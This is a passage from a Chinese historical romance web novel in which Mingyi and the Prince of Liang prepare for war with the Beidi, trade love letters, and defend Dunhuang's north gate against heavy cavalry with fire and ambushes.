寒露抿着嘴笑:“以前我和秋霜总猜想什么样的女子会成为王妃,后来夫人到了凉州,我们便私下说,王妃定是夫人这样的,没想到成了真。” 明宜淡声道:“让你们见笑了。” 寒露道:“咱们凉州民风开化,没那么多规矩。何况像王爷这样的身份,更无规矩压身。夫人与王爷两情相悦,天造地设,若不是不得已,咱们早该改口叫王妃了。” 这是凉王府,小凉王做什么都理所当然,何况只是与未来妻子私会,在婢女看来,简直再正常不过。 甚至还暗暗为王爷高兴。 毕竟从前她们还以为王爷不近女色,担心偌大的王府无子嗣继承。 如今王爷开了窍,那是再好不过。 新年伊始,凉王府和整座凉州城,都处于热闹之中,一切看着是如此安宁太平,仿佛忘了即将到来的那场大战。 唯有小凉王开年没两天,又忙起来。 明宜偶尔一连两三天都见不到他身影。 不过明宜也没闲着,李赟总带回一些卷册,让她帮忙审阅。 兵卒、战马、辎重,这些原本都是军中机密,他却悉数告知给她。 三月初,冰河解冻,几州兵马蓄势待发,蜀中粮草顺利运入凉州。 兵马未动,粮草先行,一切准备就绪。 到了月底底,惠心公主按计划返回长安,只是临行前周子炤和周月夕变了卦,要留下来助表兄一起应敌。 李赟本是不答应的,但拗不过兄妹俩的坚持,加之明宜觉得,有皇家兄妹在此,朝廷的军需补给应该没人再敢克扣。 四月初,小凉王再次西行。 只是这一回,一起西行的还有几万凉州军。 第92章 第 91 章 再返沙洲 大军开拔, 一路顺风顺水,先头骑兵抵达沙洲时,已经四月下旬。 饶是酷寒如沙洲, 也有了点春暖花开的味道。 来城门迎接的, 除了吴刺史,还有陆浪。 他们在凉州时, 已接到刺史府来信, 说陆浪以一己之力招揽了六千流民投军,并亲自练兵。 “属下参见王爷!” 坐在高头大马上的李赟, 觑眼看他, 敷衍地挥挥手。但陆浪却没有退下, 而是继续看向他身旁的马车, 直到一张清丽的面容从李赟身后探出来,才又拱手道:“见过侯夫人!” 明宜笑:“陆郎君, 又见面了!” 陆浪轻笑:“是啊, 原本还以为侯夫人会回长安。” 李赟蹙了蹙眉头:“以后别叫侯夫人了。” 他原本想让陆□□明宜王妃,但两人毕竟还未大婚,并不合适, 便就此打住。 陆浪早猜到李赟对明宜的心思, 得知两人不顾身份定下终生, 还是秦梦从凉州回来告诉他的。 虽有些错愕,但两人确实是天造地设的一对佳偶。从前他那点说不清道不明的心思,也便彻底压了下去。 他从善如流道:“夫人,这一路可还顺利?” 李赟听到这称呼, 身上对此人的那点敌意,不由自主淡了几分。 明宜望着陆浪,几个月未见, 他身上的落拓不羁收敛了许多,倒是又有几分当年金吾卫的气质。 就在这时,另一张娇俏的脸从她身后探出来,叽叽喳喳道:“三娘子,这个人是陆状元么?” 明宜点头:“没错,殿下。” 周月夕好奇地看向陆浪,睁大眼睛轻呼道:“真的是陆状元!当年陆浪武举夺魁,我就在现场观看,后来他做金吾卫,我也见过几次。就是他,我还记得!” 陆浪有些错愕地望着车上少女,不过很快反应过来,这应该便是长宁公主,他赶紧恭恭敬敬行了个礼:“小的见过殿下!” 周月夕抬手指着自己的脸:“陆状元,我们见过的,你不记得我了么?那年春猎,你是围场守卫,我的马儿受惊,是你帮我拦下,不然我还不知道要被摔成什么样子。” 陆浪自然还记得这么回事,但当年的长宁公主不过十一二岁,还是个乳臭未干的小丫头,如何能与面前的少女联系起来。 周月夕见他微微眯眼,神色有些茫然,忍不住噘嘴道:“我可是让父皇重重奖赏你了的,这么大事你都忘了么?” 陆浪轻笑:“多谢殿下当年的嘉奖!” 周月夕道:“当年听说你要被处斩,我还去跟父亲求过情,可惜他没答应。都怪我当年太小,不然定能救你。不过你没死,可真是太好了。” 陆浪轻笑了笑:“多谢殿下!” 李赟拿剑将帘子打下来,道:“走!” “哎 ——” 周月夕在马车的晃动下轻呼一声,又挪到窗边打开帘子,朝陆浪唤道:“陆状元,等得空了我请你喝茶!” 陆浪拱拱手,但笑不语。 周月夕回身坐定,又忍不住抓着明宜的手激动道:“没想到真的是陆状元,我先前还以为三娘你是骗我的。” “我骗你作何?” 周月夕道:“毕竟陆状元之死当年在长安也是一桩大事。” 说着又义愤填膺地攥了攥拳头,“可惜当年我年纪太小,父皇只当我的求情是童言童语,还让人把我关起来,不让我闹。等我再出来,听到的就是陆状元在天牢自刎,你都不知道我当时哭得多伤心。” 明宜认识长宁公主时,她已是豆蔻之年,便问:“那我怎么没听你说过?” 周月夕摆摆手:“人死不能复生,我也不能一直念叨啊!” 说着又有些心虚地轻咳一声,“而且没过两年,又出了个年轻英俊的武状元,只可惜是个爱钻营的谄媚小人,竟然还肖想尚本公主!” 明宜倒是听过她和后面那位武状元有些来往,只是不知怎么就闹僵,据说对方被贬出京,便是这位金枝玉叶的功劳。 两人有一搭没一搭聊了会儿,便到了刺史府。 李赟下了马直接叫吴刺史去谈公事,明宜再见到他已经是天黑之后。 见他神色严峻,明宜不由问道:“怎么了?” 李赟在她对面坐下,直接拿起她没喝完的茶水喝了口,道:“北狄大军半月前已经开拔,最迟半月后,就会抵达沙、瓜、凉三州西北境。” 明宜点头:“跟预计的差不多。” 李赟抬头看向她,摇摇头:“他们这次出动了全部兵力,总共二十五万大军,光是骑兵就有十万,其中重骑兵过半。这比我们预计的要多很多。” 明宜心下微微一震。 整个河西只有十余万大军,重甲兵不过两万,哪怕北狄军长途跋涉有折损,兵力也仍在河西之上。 她蹙起眉头:“看来这个突涅大汗,对河西是势在必得。” 李赟点点头,深吸了口气:“但他出动全力,便是没给自己留后路。只要我们能打胜这场仗,北狄从此便会在漠北消失。” “没错,北狄势在必得,阿兄也势在必得。” 李赟握住她的手:“三娘,这是一场硬仗,我不敢说自己一定会赢。若是…… 我有什么事,你想办法赶紧离开。北狄就算过了我这一关,也定会折损大半,没能力再继续南侵,大宁不会有危险。” 明宜却是反手握住他,认真道:“阿兄,你不会出事,我也不会让你出事。” 李赟忽的笑出声来:“三娘的口气倒是大得很。” 明宜道:“虽然北狄兵力在我们之上,但我们已做了万全准备,这里又是阿兄的地盘,还有秦七郎和陆浪助阵,我不信那突涅可汗有这么大本事。” 李赟望着她问:“你是相信我,还是相信自己?” “我相信自己,但更相信阿兄。” 李赟忽然勾唇一笑:“就算为了三娘从阿兄改口夫君,我也要打胜这场仗。” 明宜嗔道:“什么时候了,还说这些促狭话。” “这可是真心话。” 李赟笑了笑,又稍稍正色,“明日我就要去城外大营。” 明宜忙道:“我跟你一起。” 李赟却是摇头:“你一个女子在大营不方便,何况打起仗来,我只怕也顾不上你。” “我自己能顾自己。” “我晓得我们三娘有的是本事,只是你得留在城中。” 李赟笑着道,“茫茫沙洲,入敦煌城的通道有很多条,等大军出城,定会有北狄兵绕过城外大营,潜入城中。城中上万百姓,手无寸铁者居多,我们要护的,不仅仅是这片土地,更重要的是这里的百姓。若是城中百姓遭屠杀,我们前方大营定会乱了阵脚。所以你要留在城中,与陆浪和他的流民兵守住这里的百姓。” 明宜自是想过北狄军定会趁着前方开战,派人潜入城中作乱,却没想过自己要留下。 她还未开口,李赟又道:“让你留下,是因为城中有诸多妇孺,若是有什么事,你是女子,会更方便行事。” 明宜沉吟片刻,点点头:“好,那我留在城中,助陆浪守住这座城池,好让阿兄在城外放心对敌。” 李赟轻笑,伸手摸了摸她白皙的面颊,神色动容道:“我李赟何德何能,能有三娘这样的女子相伴。” 明宜也笑:“我也没想到会遇到阿兄。” 顿了下,又道,“等赶走北狄,我便留在凉州,与阿兄相守一生一世。” “待没了北狄作乱,我们一起去游历山河,远的不成,至少能去蜀中瞧一瞧。” “嗯,我们届时只做寻常夫妻,不做王爷和王妃。” 李赟闻言忍不住眼眶一热,点点头笑道:“没错,只做寻常夫妻。” 说罢,缓缓凑上前吻上她饱满的红唇。 这一回,他没有了从前的急切,只有温柔细致的缱绻缠绵。 无关欲望,只有熨帖。 许久之后,两人依依不舍地分开,李赟抵着她的额头,将人揽在怀中。 这晚,李赟留在明宜房中。 只是虽然同床共枕,却什么都没做,只是相互依偎着,有一搭没一搭说着私密话。 翌日醒来,李赟已经不在身边,问了白芷才知道,他已经出城去了大营。 她刚换上衣服,洗漱完毕,便听到长宁公主的声音从外面传来:“陆状元,你来找我阿嫂么?” “臣见过殿下,夫人在吧?” “在的。三娘子,陆状元找你。” “来了。” 明宜打开房门,看向院中的男人,“陆浪,你有事么?” 陆浪朝她拱了拱手:“王爷说夫人留在城中助我守城,我来问夫人,要不要随我熟悉城门和各条街巷。” 明宜点头:“要的。” 说着又好笑道,“陆浪,你从了军,怎么变得拘谨了?你还是像从前一样吧,我更习惯些。” 陆浪不是因为投军变得拘谨,而是因为对方如今的身份,他得恪守礼节。 思及此,他好笑地舒了口气:“毕竟我如今是王爷手下,哪能像从前那样肆意妄为!” 不等明宜说话,周月夕忙不迭点头道:“对啊,我听三娘子说陆状元乃是游侠儿,可我瞧着一点不像游侠,只像个规规矩矩的兵卒,还不如当年在长安做金吾卫呢!” 陆浪展眉一笑,放下手,露出先前的洒脱做派:“我陆某便不与三娘子和殿下客气了。” 明宜见状,也重重舒了口气:“行,待我用过早膳,便随陆郎君去城中转转。” 周月夕一蹦三尺高道:“我也要去!我也要去!” 明宜道:“好,殿下也去。” “哎,都说了在外面不要叫我殿下,叫我月夕就好。” 周月夕噘起嘴,又看向陆浪,“陆郎君也跟三娘一样叫我月夕。” 陆浪忙拱手:“殿……” 一个 “下” 字还没出来,就被周月夕打断:“这是命令!” 陆浪:“…… 好吧,月夕。” 周月夕似是很喜欢听这个称呼,展眉一笑:“没错,就是这样!” 用过早膳,明宜便跟着陆浪去马厩牵马。 这几个月御风跟着明宜,好吃好喝,虽然个子未长,却养得膘肥马壮,越发活泼通灵性。 见到陆浪的芙蓉,立刻凑上前冲着对方又蹭又舔。 不过这回芙蓉的反应,明显比先前冷淡多了。 陆浪笑道:“芙蓉已经有相好的了。” 明宜一愣:“啊?” 陆浪道:“是摘星君采买的战马中的一匹。” 摘星君那五千匹马在三月中便已抵达沙洲,倒是比他们预想得更早一些。 听闻是费了些功夫,不过总算有惊无险,顺利完成了这笔买卖。 “那马脾性如何?” 明宜问。 陆浪道:“个头也不高,性情很温和,但耐力很不错。” 说着朝旁边一指,“就在这马厩呢!” 明宜想到什么似的,对长宁公主道:“月夕,你不是要坐骑么?要不然你去瞧瞧陆郎君说的这匹马儿?” “好啊!” 周月夕搓着手兴奋道。 陆浪替她将马牵出来,果然个头不高,与芙蓉和御风差不多,四肢粗壮,看着很有几分憨态。 果然,芙蓉一见到它,就欢喜地凑上前,气得御风只打响鼻。 那马儿也不生气,还走到御风面前,亲昵地蹭它打招呼。 两匹马不知 “交流” 了什么,御风终于平静下来,有些不情不愿地退开。 明宜笑着摸了摸它的头:“人家两情相悦,咱们就不打扰了,回头我再给你寻一匹好看的小母马。” 御风昂昂头,以示自己收到了。 周月夕哈哈大笑:“这三匹马儿凑在一起,看着真有趣。” 明宜道:“可别小瞧它们,都是胡野马,比寻常战马还厉害。” “是么?” 周月夕迫不及待要上马,只是因为太心急,一时没踩稳马镫,差点摔下来,还好陆浪眼明手快,将人半扶半抱着稳住。 长宁公主到底是十七八岁的少女,因为得意忘形差点丢了丑,顿时闹了个大红脸。在陆浪的搀扶下,她扭扭捏捏在马背坐稳,瓮声瓮气道:“有劳陆郎君了。” 陆浪轻笑:“殿下不用客气。” 周月夕不满道:“都说了要叫我名字。” “好的,月夕。” 几人牵着马出了门。 敦煌城中依旧热闹,百姓商客照旧过着寻常日子,似是并不知危机已近。 这座建在大漠的城池,到底不能与凉州相提并论,骑着马优哉游哉仔细逛完一圈也用不了半日。 明宜对敦煌也不算陌生,但仔细逛完还是头一回。她认真记下各个城门的方向、每条街巷的位置,以及大致的住户情况。 “陆浪,我们先用过午膳,然后再重新走一遍!” “好,三娘子和月夕想吃什么?” 周月夕眨巴着大眼睛,好奇问道:“有什么好吃的?” 陆浪道:“月夕是想吃河西风味,还是长安口味?” 周月夕咦了一声:“这里还有长安口味么?” “当然。” 陆浪笑道,“这里有做得很正宗的长安菜。” “那你还不快带我们去。” 陆浪口中的长安口味,自然就是来福酒楼。 掌柜见到众人,忙笑盈盈拱手:“沙狼,你来了!” “还有雅间么?” “有的,我带你们上去。” “三娘子 ——” 几人刚踏上木楼梯,便听到身后传来熟悉的声音。 明宜回头一看,来人正是秦梦。 “秦姐姐,你们也来用膳?” “是啊!我和七郎来吃长安菜。” 秦梦疾步走上前,“听说小凉王到了沙洲,我正打算去找你们呢,没想到在这里先遇上了。” 明宜笑了笑,抬眸看向她身后的秦七郎。 对方也望着她,神色莫辨,只不紧不慢跟上来,道:“相逢不如偶遇,几位不如一同入座?” 有秦梦在,明宜也不好拒绝,只笑着点头:“好啊!” 原本的三人,便变成了五人。 雅间内,秦梦拉着明宜,忧心忡忡道:“听阿弟手下的人传来消息,北狄这次有二十五万大军,光是重骑兵就有五万,不知道王爷能不能扛得住!” 明宜道:“秦姐姐不用担心,王爷已做好万全准备。” 秦七郎拿起茶杯,呷了口热茶,不紧不慢地插言道:“看来三娘子对小凉王很是信任。” 明宜笑说:“难不成我要怀疑王爷吗?大敌当前,长他人志气、灭自己威风的事,我可做不来。” 秦七郎扯了下嘴角:“突涅可汗没你们想得那么容易对付。” 明宜道:“容不容易,也总得对付不是吗?” 说着看向他,“何况还有你秦七郎相助,我们至少能多几成胜算。” 秦七郎勾唇一笑:“三娘子倒也瞧得起我。” 明宜道:“七郎的本事,还用我说吗?” 陆浪看出两人气氛不对,忙轻咳一声,打圆场道:“总归大家现在都在一条船上,唯有拼尽全力共同对敌,才是出路。” 明宜点点头:“不错,不管我们各自想要的是什么,有一样是相同的 —— 那便是灭掉北狄。” 秦七郎不置可否,只抬头看向陆浪,冷不丁道:“沙狼,若是有一件珍宝,你十分喜爱,原本有机会获得,却被人横插一脚截去,你会怎样?” 陆浪本就是心思机敏之人,又听秦梦说过她阿弟对明宜的心思,闻言打哈哈道:“若是我没得到,便意味着那珍宝本就不属于我,我自然顺其自然,不必强求。” 不明所以的周月夕啧了一声:“那陆郎君你未免也太大方了。” 明宜轻笑:“陆郎君乃是豪侠,豁达开阔,自然不会像某些人那样钻牛角尖。” 秦七郎扯了下嘴角:“三娘子是说我心胸狭隘么?” 明宜不置可否,只道:“七郎年纪尚轻,有些事情一时想不通,倒也正常。” 周月夕一头雾水:“你们在说什么?” 秦七郎回道:“我们在说属于秦某的珍宝。” 话虽是说给周月夕听,目光却直直望着明宜。 第93章 第 92 章 兵临城下 明宜无奈一笑, 只是摇头。 秦破虏勾了勾嘴角:“小凉王乃是王公贵胄,权倾一方,想必在三娘子眼中, 他这样的人便是盖世英雄。” 明宜道:“英雄不问出处, 只要行的是正义之事,那便都是英雄。”说着看了眼陆浪, “在我眼中, 沙狼也是大英雄。” 周月夕忙不迭点头。 秦破虏道:“那若我能手刃突涅大汗,是否也能成为三娘子口中的大英雄?” 明宜轻笑:“当然!” 秦破虏点点头, 起身道:“好, 那我届时把突涅大汗的人头, 亲手送到三娘子跟前。” 明宜失笑:“那倒也不必。” 秦破虏道:“我秦七郎说到做到。” 明宜稍稍正色:“秦七郎, 两军对战,切记逞强冲动, 你能不能手刃突涅大汗不重要, 重要的是这场仗,我们要赢。” 秦破虏不置可否,只看了看她, 转身朝门外走去。 “哎?七郎, 不吃了?”秦梦赶紧跟上。 秦破虏头也不回道:“去吃烤羊, 不吃长安菜了。” 秦梦嘟囔着抱怨了句,一边回头与明宜几人挥手道别,一边跟了出去。 房门开了又阖。 陆浪摇摇头叹息一声,笑道;“还是年少轻狂, 就跟我当年一样。” 明宜也笑:“可不是么?他也就与当年的你差不多大。” 周月夕撇撇嘴:“我看这家伙脾气比当年的陆状元可差多了,阴晴不定的。” 明宜默了片刻,道:“他这样的经历, 也确实不容易。” “嗯。”陆浪点头,“若换做是我,只怕活不到现在。再等几年,这小子成就只怕不输小凉王。” 明宜笑:“你从前对小凉王可是不以为然的。” “现在也不以为然。”陆浪耸耸肩,“但如今在他手下做事,总要拍拍马屁。” 明宜失笑。 周月夕道:“陆郎君,你不用担心,待我回了长安,定会请求父皇赦免你的罪。” 陆浪笑着对她拱拱手:“那就有劳公主殿下了。” 三人用过午膳,又在城中转了一圈,这才打道回府。 李赟去了城外大营,快马加鞭往返也要大半日,这些天自然不再回城。 也不知何时才能再见。 原本一起的两人,如今忽然分隔两地。 不想,暮色刚至,大营的信使便给明宜带回了李赟的信。 明宜一边惊讶这么快,一边回到屋中迫不及待将信拆开。 她原本以为信来得这么急,定是有什么急事要事与自己说。 哪知将信笺展开,却见两片粉色花瓣滑落。 明宜将花瓣拾起,看出是杏花花瓣,还带着水分,应是今天刚摘下来的。 沙洲虽干旱,但大营都在绿洲,如今正是杏花盛开的季节。 明宜想到李赟摘下花朵,将花瓣放在信笺中的模样,不由得有些想笑。 她将花瓣放在一旁,这才去看信。 李赟的字迹与他的人一样,苍劲有力,却又不失工整。 果然这带了花瓣的信,不会有什么要事急事。 不过是简单说了自己入驻大营,营地条件尚可,周围水草丰茂,春暖花开,让她在城中不用担心。 末了,不忘附上一句——一日不见兮,思之如狂。 明宜脸上微微一热。 谁能想到这是小凉王写出来的话? 虽然书信不长,但明宜还是仔细读了两遍才放下,然后叫白芷拿来纸笔,磨上墨。 开始给他回信。 说今日与陆浪熟悉了城中地形,每一道城门每一条街巷都已经烂熟于心。 也只是短短一页,末了也添上肉麻兮兮的一句——自伯之东,首如飞蓬。 想了想,将常用的香囊解下来与信笺放在一起,放入信封中,小心翼翼用蜡封好,让白芷交给信使。 大营和城中每日有信使者往来传递信息,接下来几天,她和李赟每天都会通信。 北狄大军未至,每天无非是在信中说些闲话。 但明宜还是忍不住一个字一个字仔细品读,心中柔情像是满得能溢出来。 她没想过自己也有一天,会像情窦初开一样,体会到思念的甜蜜和煎熬。 * 大营,李赟正在帐中,借着烛光认真阅读着明宜写来的信。 虽然不过一页闲话,但他还是看了一遍又一遍,直到倒背如流。 大敌当前,军中气氛紧张,他这个主将也压力重重,唯有每日收到明宜的信,才能得到短暂放松。 虽然只分开了短短几日,但却像是过了几十年那么漫长。 所谓一日不见如隔三秋,他如今算是真切体会。 况且,这是两人表明心意后,第一次分开这么久,确实是不习惯。 他决定了,待这场仗结束,他便日日与她在一起,再不分开。 正想着,外面传来楚飞的声音。 “王爷——” “进来!” 李赟将信笺小心翼翼折好,放入手边一只小木匣中。 楚飞走进营帐,拱手道:“王爷,前方传来消息,北狄大军已不足百里。” 李赟点点头,沉声问道:“秦七郎那边什么情况?” 楚飞道:“他让秦梦来传话,他们已在沙洲中埋伏,北狄大军中,有他的人,他们会里应外合,找时机烧他们粮草,届时北狄军一乱,我们便可转守为攻。” “好!”李赟正色道,“吩咐各部做好应敌准备。” 楚飞想了想:“据线报,北狄大军分了东南西北好几路,沙洲地广人稀,他们定会派人绕过我们几大营,直插敦煌城中。王爷你看,我们要不要再多调派点人手去守城,全指望流民军只怕……” 李赟摇头:“他们能绕过大营的,只能是小部队。大军定会对上我们几个大营。我们兵马本就不多,若是再调派人手去守城,城外大营一旦失守,城中要面临的便是大部队,后果更加不堪设想。如今城中有一千凉州兵,六千流民军,虽然流民军经验不足,但他们熟悉城中状况,何况还有沙狼领兵,夫人坐镇,不出意外,应该守得住。” 楚飞咕哝道:“你都知道夫人在,还不多派点人保护她。” 李赟失笑:“我正是知道夫人在,所以才不浪费兵力去守城。” 楚飞舒了口气道:“也是,夫人可比一般军师厉害多了。” 李赟勾唇一笑,颇有些与有荣焉道:“那是自然。” * “三娘子——” 这夜,明宜刚躺下,便听到外面传来陆浪的声音。 她赶紧穿上衣服:“怎么了?” 陆浪道:“收到消息,有一支北狄骑兵,已绕过城外大营,正朝城中逼近。” 明宜道:“城门都关好了吧?百姓可都通知闭门不出?” “嗯,都已经通知,城中所有兵卒都已守在几大城门处。” 明宜点点头:“走,我们去城门。” 陆浪一愣:“三娘子,你要亲自去吗?若是一旦城门被冲撞开,只怕会有危险。” 明宜道:“我得去看看情况,知道敌方派的是什么人,不然不好应对。” 陆浪点点头,看到她身上的寻常衣袍,提醒道:“行,你穿上铠甲。” 明宜轻笑:“我知道的。” 李赟此前在凉州为她量身定做了一套铠甲,今日终于派上用场。 不仅有铠甲,还有专门为她打造的弓箭。 明宜回屋迅速换好。 另一边听到动静的周子炤和周月夕不约而同跑出来,看到明宜这身装扮,紧张兮兮齐声问道:“三娘子,你这是去城楼?” 明宜点头:“你们二人在刺史府待着,府中地道你们知道的,若真有什么事,藏入地道躲着。” 周子炤攥了攥拳头:“北狄来犯,三娘子一介女流都要去城楼应敌,我乃是大宁齐王,岂有独自苟且偷生的道理?我随你们一起去!” 周月夕也用力点头:“我也去!” 陆浪犹疑道:“这是去打仗,随时有生命危险,兵卒要专心对敌,只怕没工夫保护两位殿下,两位还是待在府中吧。” 周子炤难得认真:“我们兄妹有护卫,不用河西军保护。何况我们自小习武,虽比不得陆浪你,但也有自保能力。” 陆浪还要阻拦,被明宜打住:“让他们去吧,他们是大宁皇子公主,沙洲河西乃是大宁疆土,这是他们的责任。况且,有皇子公主亲自坐镇,也能振奋士气,威慑敌方。” 陆浪颇以为然地点点头:“行,那请二位换上铠甲,随在下出发。” 据前方传来的线报,这支狄军的方向是北城门。 一行人踏上北城门楼上时,果然隐隐见到不远处一队乌泱泱的兵马,正在逼近。 陆浪昂头朝那边看了看,对明宜道:“据收到的消息,大概有三千人!” 明宜点点头,与她预计的差不多,要绕过河西军几大营,这已经是极限数字。 随着兵马逼近,陆浪忽然蹙眉道:“不好,是重骑兵!” 明宜一愣:“三千重骑兵?!” “嗯。”陆浪神色凝重地点头,说着一挥手,“弓箭手做好准备。” 这队骑兵并没有直接冲到城门下,而是在距离两三百米的地方停住。 这是普通弓箭无法抵达的射程。 城门火光,将这百米开外的人马照得分明,明宜看到打头的一人,身形极为魁梧。 他在马背上一站,洪钟般的声音,穿过夜色:“我乃北狄叶护乌尔,你们打开城门投降,归顺我们北狄,我承诺不伤害城中人一分一毫。若是顽抗,今夜我誓必血洗敦煌城,寸草不留!”—— 作者有话说:打仗卡得我销魂。 第94章 第 93 章 你定能保护好自己,对吗 明宜心头一震, 乌尔便是上次追杀秦七郎的家伙,他乃是突涅可汗手下大将。 这大将不在正面对敌,竟然潜入城中。 可见不只是要对敦煌城势在必得, 只怕是想扰乱前方军心。 乌尔的大名, 显然也不止明宜一人听说,城楼上下的守军, 尤其流民军, 听到他爆出名号,顿时窸窸窣窣交头接耳起来, 明显开始军心不稳。 毕竟他们只是流民, 只要北狄不伤害他们, 敦煌城在谁手中, 于他们来说无甚区别。 陆浪见状,立刻高声道:“各位同袍, 不要听此北狄贼子巧言令色, 这乌尔奸杀掳掠,无恶不作,曾连屠北狄三部族, 连族人都是如此, 一旦放他入城, 他岂会放过我们。我们尚且还有兵戈,城中那些此时等着我们保护的妇孺呢?” 他一向在流民中有威信,这话一出,原本窸窸窣窣的兵卒, 顿时安静下来。 明宜凑到周子炤身旁道:“五殿下,该你了!” 周子炤已经有些被眼下情况吓到,这会儿忽然被点名, 先是微微怔了下,忽然又攥了攥拳头,深吸一口气。 哪知还未开口,周月夕忽然上前一步,高声道:“大宁齐王和长宁公主在此,我们兄妹二人,将与诸将士一同守城,同生死共进退!!” 她这高亢的一声,可谓是势如破竹。 原本安静的城楼上下,顿时又开始窸窸窣窣。 周月夕见状脸一红,转头看向明宜和陆浪,支支吾吾道:“我说错了吗?” 陆浪笑:“殿下说得很好!” 周月夕摸摸鼻子,咕哝道:“也不知道有没有用?” 别说是在沙洲,就是在凉州,也一向是只知凉王不知朝廷。若换做平日,大宁皇子和公主在此,此地将士和百姓,只怕都不以为意。 然而眼下情形与平日不同,他们就算对齐王和长宁公主一无所知,却也知道身份尊贵,能与他们这些边境将士流民共同对敌,定能让众人觉得不可思议。 果不其然,下方忽然有人高声道:“既然皇子公主都在,我们这些升斗小民算什么?今晚我们誓死守城,城在人在,城亡人亡!” “城在人在!城亡人亡!” 众人齐声附和。 果然,搬出皇子公主,能让士气大振。 陆浪轻笑道:“有两位殿下在,果然不一样。” 正说着,城门外的骑兵开始移动。 陆浪眉头一蹙,高声吩咐:“弓箭手准备!” 明宜道:“他们是重甲,寻常弓箭作用不大,火油够吗?” 陆浪蹙眉:“有,但不多。” 明宜点点头:“只要人一到城楼下,就上火油,给他们一个下马威,待他们阵脚大乱时,再用弓箭。” “嗯。”陆浪又吩咐,“准备火油,一旦敌人靠近,立刻用火油攻击!” 与此同时,乌尔已带着人下马,手举盾牌步步逼近。 一边走还一边大喊:“考虑好了吗?是要开城门,还是要受死?” 陆浪拿起弓箭上前。 咻—— 利箭穿过黑夜,直直射向乌泱泱的敌军。 但对方密密麻麻的盾牌如铜墙铁壁。 铮的一声,箭矢在敌军中溅起一簇火花。 被射中的正是乌尔的盾牌,虽然这箭未伤到他人,但力度之大,还是让他微微踉跄了一步。 他用北狄语咒骂了一句,大声道:“前进!破门!” 哐当哐当的脚步声,齐齐响起,似是连地面都在震动。 城楼上的将士,屏声静气望着这阵仗,不敢有一丝懈怠。 周月夕紧张得下意识攥住陆浪的手臂。 陆浪转头瞥她一眼:“不用怕,我们的城门不是纸糊的,没这么容易破。” 明宜则眯起眼睛望着这支重甲兵。 破城门只是迟早的事。 那破城之后呢? 要如何用几千流民兵阻止被屠城? 最有用的办法只有拖垮他们的体力,几十公斤的重甲在身,哪怕是天生神力之人,也扛不住太久。 之前秦七郎重伤还能在山中击杀那么多重甲兵,便是利用地形与这些人耗。 敦煌城中只会比山中更复杂,何况还是晚上,只要运用得当,声东击西,定能拖垮他们。 思及此,明宜道:“陆浪,我们得改变策略。” 严阵以待的陆浪不明所以地看向她。 明宜道:“三千重甲兵,这城门定然是守不住的。” 陆浪蹙眉点头:“我明白!但不管守不守得住,我们都得守着。” 明宜摇头:“他们是训练有素的重甲兵,一旦破门,我们的兵卒和他们正面对战,后果不堪设想。我们是在守城,善守者,藏于九地之下。我们的优势,是兵卒对城中地形熟悉,眼下百姓都已藏好,我们的兵卒也得藏起来,用声东击西之法,而非正面对敌。重甲兵身穿几十斤甲胄,跟他们耗得越久,对我们就越有利。” 陆浪蹙眉:“你的意思是?” 明宜道:“你和弓箭手留在这里守城门,剩下的兵卒跟我去城中埋伏,准备对破城者偷袭。”顿了下,又道,“当然,你要在这里尽最大努力与他们耗得久一些,多杀几个在城门口。一旦破门,你也带人马上逃走躲起来。” 陆浪没质疑她的计划,实际上他一听,便知这应该是眼下最好的办法。 他这些流民军别的不敢说,躲躲藏藏搞偷袭,个个都是好手。 思及此,他吩咐两个心腹,跟上明宜下了城楼。 这几日,明宜一直与陆浪一起和流民军在城中演习,大家对她早就熟悉,也知她并非寻常弱质女流,加之有陆浪交代,凡事需听她指挥,楼下众人听了她的吩咐,立刻跟着她去城中埋伏。 “格老子的,竟然派重甲兵来偷袭,我正面打不过,搞偷袭定要割掉几个脑袋。” “这城中有几个狗洞我都一清二楚,重甲了不起,老子耗不死你们!” 明宜道:“大家都要小心,尽量不与他们正面打,分头将他们打散,好逐一攻破!” “夫人,明白!打仗我们不会,杀人放火打架我们擅长!” 明宜舒了口气:“今晚敦煌城能不能守住,就靠大家了!” “夫人放心,我们定让这些北狄贼子竖着进横着出!” * 城外大营。 楚飞急匆匆走进凉王营帐。 “王爷,不好了!北狄有三千骑兵到了城下,是乌尔带领的三千重甲兵。” 李赟眉心蓦地一跳:“三千重甲兵?” 楚飞面色惊惶地点头:“没错,刚刚传来的消息,这会儿应该正在破城!我们是不是要派兵马回去驰援?” 李赟很快镇静下来,沉声道:“城若会被破,那定等不到我们驰援;若破不了,那便不需要我们驰援。” “那夫人她……”楚飞忧心忡忡看向他。 李赟道:“夫人定有办法破局。眼下我们最重要的是已在十里之外扎营的北狄大军。北狄派乌尔去偷袭城中,为得就是扰乱我们前方阵脚,我们现在派兵马回城,那便是中了他们的计谋。” 楚飞点点头:“王爷说得是。” 李赟又问:“秦七郎那边什么进展?” 楚飞摇头:“说是今晚便能烧掉他们军粮。” “一旦北狄军粮被烧,我们就乘着他们大乱主动出击。” “嗯,全军已严阵以待,只等王爷一声令下。” 李赟挥挥手:“你出去盯着,有事马上来报。” 楚飞拱手应诺,飞快退了出去。 李赟坐回案后,目光落在案上昨日明宜写来的那封信,眉心紧紧拧起。 要说不担心是假的。 城中只得六千兵力,却大部分是流民军,正常情况下,这点兵力对上三千重甲兵,只有挨宰的份。 “三娘……”他拿起案上的信,喃喃自语道,“你定能保护好自己,对吗?”—— 作者有话说:收尾中 第95章 第 94 章 守城 今晚是个月圆夜, 此时敦煌城北门之下,火光冲天,与天上圆月相互辉映。 一桶桶火油洒向逼近的北狄重甲兵, 又轰隆隆燃烧。 盾牌能抵挡住箭矢, 却挡不住乱窜的火苗,这些重甲兵在火攻之下, 很快乱作一团。 有人甚至在混乱中将烧烫的盾牌丢开。 “放箭!”陆浪大手一挥。 密密麻麻的飞箭, 穿过火光,射向那混乱之中。 尖叫、怒吼、哀嚎, 一时响彻夜空, 不绝于耳。 乌尔毕竟也是身经百战的北狄大将, 眼见自己的人倒下一大片, 立刻伸手道:“回撤!” 这群重甲兵立刻遵命退到两百米开外。 陆浪稍稍松了口气,低声问手下:“还有多少火油?” “只剩不到十桶了。” “干木头运来了吗?” “已经到了。” “好, 下一波用点燃的木头丢过去。” 用木头火攻, 恐怕只能暂时震慑,一旦对方发现他们火油不够,定会全力攻击。 不过, 这都是迟早的事, 他能做的, 就是尽量在城门口多耗些时间,让这些北狄贼子,能少一个进城是一个,给城内人争取多一些机会。 眼见月上中天。 藏在一座屋顶的明宜, 听着北门处传来惊天动地的响动,望着上方被火光点亮的天空,心脏跳得飞快。 陆浪已经与这些北狄人耗了一个多时辰, 只怕已经是强弩之末了。 不过这一个多时辰,应该足以消耗掉那些重甲兵七八成体力。 